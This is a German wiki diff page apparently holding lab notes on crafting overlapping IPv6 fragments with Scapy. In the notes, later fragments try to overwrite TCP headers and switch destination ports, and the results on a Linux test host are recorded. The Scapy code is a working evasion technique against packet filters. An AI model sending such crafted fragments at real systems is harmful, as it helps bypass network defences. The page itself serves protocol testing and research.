Benutzer-Werkzeuge

Webseiten-Werkzeuge


ne:scapy_fragment_v6-packets

Unterschiede

Hier werden die Unterschiede zwischen zwei Versionen angezeigt.

Link zu dieser Vergleichsansicht

ne:scapy_fragment_v6-packets [2017/01/24 18:49] – Externe Bearbeitung 127.0.0.1ne:scapy_fragment_v6-packets [2017/06/28 15:44] (aktuell) – [IPv6-Pakete fragmentieren] admin
Zeile 1: Zeile 1:
 ====== IPv6-Pakete fragmentieren ====== ====== IPv6-Pakete fragmentieren ======
 +
 +**Scapy:** Die fragment6(packet, size) Funktion setzt voraus, dass das zu fragmentierende Paket 
 +bereits einen Fragmentation-Header besitzt, ansonsten wird nicht fragmentiert.
 +
 +:!: Linux akzeptiert nur Fragmente deren Payload-Länge ein Vielfaches von 8 ist 
 +(Offset wird als Vielfaches von 8 Byte angegeben), ansonsten gibt es eine ICMP-Parameter-Problem Meldung :!:
 +
 +
 +===== Versuch 1: Überschreiben von Paketfragmenten mit neueren Informationen =====
 +
 +<code python>
 +dest="2001:db8:1:0:a00:27ff:affe:1234" /* Ubuntu */
 +
 +p23 = IPv6(dst=dest)/IPv6ExtHdrFragment(id=123456,m=1)/TCP(sport=17002,dport=23,flags="S")/Raw("x"*36)
 +p80 = IPv6(dst=dest)/IPv6ExtHdrFragment(id=123456,m=0)/TCP(sport=17002,dport=80,flags="S")/Raw("x"*36)
 +
 +send(p23)
 +send(p80)
 +</code>
 +
 +Allerdings schlägt die Reassembly auf dem Zielsystem trotzdem fehl (Time Exceeded). 
 +Da beide Pakete den Offset 0 tragen und auf das p80 Paket auch eine passende Antwort vom Zielsystem generiert wird, 
 +ist davon auszugehen, dass Fragmente mit 'Offset 0' separat behandelt werden (nicht überschrieben)!
 +
 +
 +===== Versuch 2: Alternative incl. Destination Header =====
 + 
 +Es wird ein Destination Header hinzugefügt, so dass das 2. Fragment mit einem höheren Offset als '0' versandt 
 +werden kann und trotzdem der Transport-Header überschrieben werden könnte.
 +
 +Das Reassembly funktioniert jetzt, allerdings nicht wie erwartet: Linux mit Kernel 2.6.35 scheint für diesen 
 +Angriff nicht empfindlich zu sein, das erste empfangene Fragment bleibt erhalten und wird nicht überschrieben. 
 +
 +/* Kein Upper-Layer Header im 1. Fragment -> Reassembly: WWW (Port 80)*/
 +<code python>
 +p23 = IPv6(dst=dest)/IPv6ExtHdrFragment(id=123456,m=1)/IPv6ExtHdrDestOpt()/IPv6ExtHdrDestOpt(nh=6)
 +p22 = IPv6(dst=dest)/IPv6ExtHdrFragment(id=123456,m=0,offset=2,nh=60)/TCP(sport=17002,dport=22,flags="S")/Raw("x"*40)
 +</code>
 +
 +/* Kein Upper-Layer Header im 1. Fragment -> Reassembly: WWW (Port 80)*/
 +/* Verschiedener Upper-Layer Header im 1. Fragment  ->  Telnet (Port 23) */
 +<code python>
 +p23 = IPv6(dst=dest)/IPv6ExtHdrFragment(id=123456,m=1)/IPv6ExtHdrDestOpt()/IPv6ExtHdrDestOpt()/TCP(sport=17002,dport=23,flags="S")/Raw("y"*20)
 +</code>
 +
 +/* Next Header im nächsten Fragment muss 'Destination Header' sein -> WWW (Port 80) */
 +<code python>
 +p80 = IPv6(dst=dest)/IPv6ExtHdrFragment(id=123456,m=0,offset=2,nh=60)/TCP(sport=17002,dport=80,flags="S")/Raw("x"*36)
 +</code>
 +
 +----
  
 <code python> <code python>
Zeile 12: Zeile 63:
 oder schneller: oder schneller:
 <code python>>>> sendpfast(ar1)</code> <code python>>>> sendpfast(ar1)</code>
- 
 ===== Ein böses Script ===== ===== Ein böses Script =====
 <code python> <code python>
ne/scapy_fragment_v6-packets.1485283742.txt.gz · Zuletzt geändert: 2017/01/24 18:49 von 127.0.0.1